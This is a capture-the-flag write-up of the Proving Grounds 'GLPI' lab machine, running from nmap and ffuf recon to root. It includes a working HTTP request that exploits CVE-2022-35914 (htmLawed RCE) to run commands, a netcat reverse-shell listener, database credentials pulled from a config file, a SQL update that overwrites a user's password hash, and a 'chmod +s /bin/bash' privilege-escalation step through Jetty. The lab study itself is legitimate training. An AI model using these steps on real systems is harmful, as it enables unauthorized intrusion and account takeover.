
1. Machine Info
GLPI is a very-hard community rated Proving Grounds Machine. PG’s rating is easy, but no way that this machine is easy or even OSCP-niveau.
But still, as a fresh start with PG, I decided to dig in more to this machine.
As always, let’s dive into the machine!
2. Recon
Starting with nmap scan:
┌──(hosan㉿kali)-[~/pg/glpi]
└─$ sudo nmap 192.168.231.242 -T4 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-31 14:17 EDT
Stats: 0:01:47 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 91.88% done; ETC: 14:19 (0:00:10 remaining)
Nmap scan report for 192.168.231.242
Host is up (0.043s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 113.88 seconds
Digging in to port 80
┌──(hosan㉿kali)-[~]
└─$ sudo nmap 192.168.152.242 -p80 -A -sC -sV
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-31 14:50 EDT
Nmap scan report for 192.168.152.242
Host is up (0.041s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Authentication - GLPI
|_http-server-header: Apache/2.4.41 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 4 hops
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 45.01 ms 192.168.45.1
2 45.01 ms 192.168.45.254
3 45.02 ms 192.168.251.1
4 45.04 ms 192.168.152.242
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.05 seconds
There is nothing valuable we can find here. Let’s move on to webapp enumeration.
2. Initial Foothold
There is a http webapp. By visiting the site:
Maybe we should start subdirectory enumeration.
┌──(hosan㉿kali)-[~]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -u http://192.168.152.242/FUZZ -fs 280
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://192.168.152.242/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 280
________________________________________________
js [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 165ms]
plugins [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 166ms]
css [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 166ms]
templates [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 172ms]
install [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 172ms]
bin [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 185ms]
files [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 62ms]
ajax [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 63ms]
config [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 50ms]
inc [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 44ms]
lib [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 47ms]
public [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 42ms]
pics [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 39ms]
. [Status: 200, Size: 9033, Words: 2913, Lines: 225, Duration: 58ms]
src [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 44ms]
sound [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 49ms]
vendor [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 64ms]
There are some interesting outputs. Let’s start with /files directory
We should just play around for a while. Then, I found under _cache:
So we can clearly argue that we have glpi version 10.0.2.
I immediately started to google for cve. Then I found this Github Repo.
Apparently, there exists RCE vector. But we need htmlLawedTest.php. Visiting the /vedor folder which we should have to execute cve:
Here is the tricky part. I couldn’t get RCE even if I tried to use the CVE above.
I thought this might be rabbit hole, but there was absolutely no vector except this one. So I started to download the php file and look into the source code.
Then, I realized that I have to modify CVE manually, because clearly the execution logic was slightly different.
BUT THIS IS FAR BEYOND FROM OSCP
So, I used a resource from internet:
https://mayfly277.github.io/posts/GLPI-htmlawed-CVE-2022-35914/
The logic behind this manual exploit is following:
# reference reminder of htmLawed's original hook function call
$C['hook']($t, $C, $S);
# translated to our situation
array_map('call_user_func', $C, $S);
# contents of our arrays parsed from the POST req payload
$C = ['array_map', 'system'];
$S = [null, 'cat /etc/passwd'];
# first iteration of array_map
call_user_func('array_map', null);
# output; note that this is a warning, not an error, thus will not halt execution
PHP Warning: Uncaught ArgumentCountError: array_map() expects at least 2 arguments, 1 given
# second iteration of array_map
call_user_func('system', 'cat /etc/passwd');
# output (RCE!)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
I used following payload at the end:
POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1
Host: 192.168.200.242
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 804
Origin: http://192.168.200.242
Connection: close
Referer: http://192.168.200.242/vendor/htmlawed/htmlawed/htmLawedTest.php
Cookie: glpi_8ac3914e6055f1dc4d1023c9bbf5ce82=i6ou75hltjpuhvmsqs40bqoe36; sid=foo
Upgrade-Insecure-Requests: 1
text=call_user_func&hhook=array_map&hfoo=system&spec[0]=&spec[1]=cat+/etc/passwd&sid=foo
Then I got the RCE and also the revshell.
3. PrivEsc to user.
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.45.210] from (UNKNOWN) [192.168.200.242] 51038
sh: 0: can't access tty; job control turned off
$ bash -i
bash: cannot set terminal process group (1102): Inappropriate ioctl for device
bash: no job control in this shell
www-data@glpi:/var/www/glpi/vendor/htmlawed/htmlawed$
I ran my linpeas.sh, and found following config data:
$ cat config_db.php
<?php
class DB extends DBmysql {
public $dbhost = 'localhost';
public $dbuser = 'glpi';
public $dbpassword = 'glpi_db_password';
public $dbdefault = 'glpi';
public $use_utf8mb4 = true;
public $allow_myisam = false;
public $allow_datetime = false;
public $allow_signed_keys = false;
}
So I could login to mysql, and found user betty.
7 betty $2y$10$jG8/feTYsguxsnBqRG6.judCDSNHY4it8SgBTAHig9pMkfmMl9CFa
We can also try to decrypt the hash with hashcat, but Since we have update permission, We can
- Encrypt our new password with the same format above
- And update the DB
XXX = $2a$10$78dZ08Q8LotnMJ8Dl1uutON6/R.L6KNXPbWhAnRr66tnGGi3V3d/.
update glpi_users SET password = '$2y$10$Kq6wuIrbcED3xBHQSTp2W.845KRt5vDRrcka9cDufnDF1EKpsQ/PO' where username ='betty';
I couldn’t use SSH with this new credential. But maybe, we can login to the website from (1)!
Finally, we can ssh into the machine as user betty!
4. PrivEsc to root.
Even if the first part was extremly hard, privesc to root wasn’t also easy.
After running linpeas once more, I found a suspicious folder under /opt
$ cd /opt
$ ls -la
total 12
drwxr-xr-x 3 root root 4096 Jan 25 2023 .
drwxr-xr-x 19 root root 4096 Jan 24 2023 ..
drwxr-xr-x 7 root root 4096 Jan 25 2023 jetty
$ cd jetty
$ ls
bin etc jetty-base lib LICENSE.txt modules NOTICE.txt README.adoc start.jar VERSION.txt
Another webserver is running by server, and it is using jetty. And user betty has full access to this app and folder.
After searching for a while for any privesc vector, I found this image from the internet:
We have kind-of xml injection here. So I basically injected revshell execution code, then got revshell as root.
$ ls
bin etc jetty-base lib LICENSE.txt modules NOTICE.txt README.adoc start.jar VERSION.txt
$ cd jetty-base
$ ls
jetty.state resources start.d webapps
$ cd webapps
$ echo "chmod +s /bin/bash" > /tmp/root.sh
$ chmod +x /tmp/root.sh
$ nano rooted.xml
<xml...>....revshell command! </xml>
That’s pretty much it, but I had to google a LOT and tried SO MANY rabbit holes before I found this one…
5. Review
Definitely not an easy machine, it is tended to be very hard (as community rated it) and if it was a HTB machine, maybe medium->hard machine.
But I enjoyed the journey through this machine and learned couple of things! (I wouldn’t recommend to do this machine for OSCP though…)
7. Source
- Proving Grounds
- Me!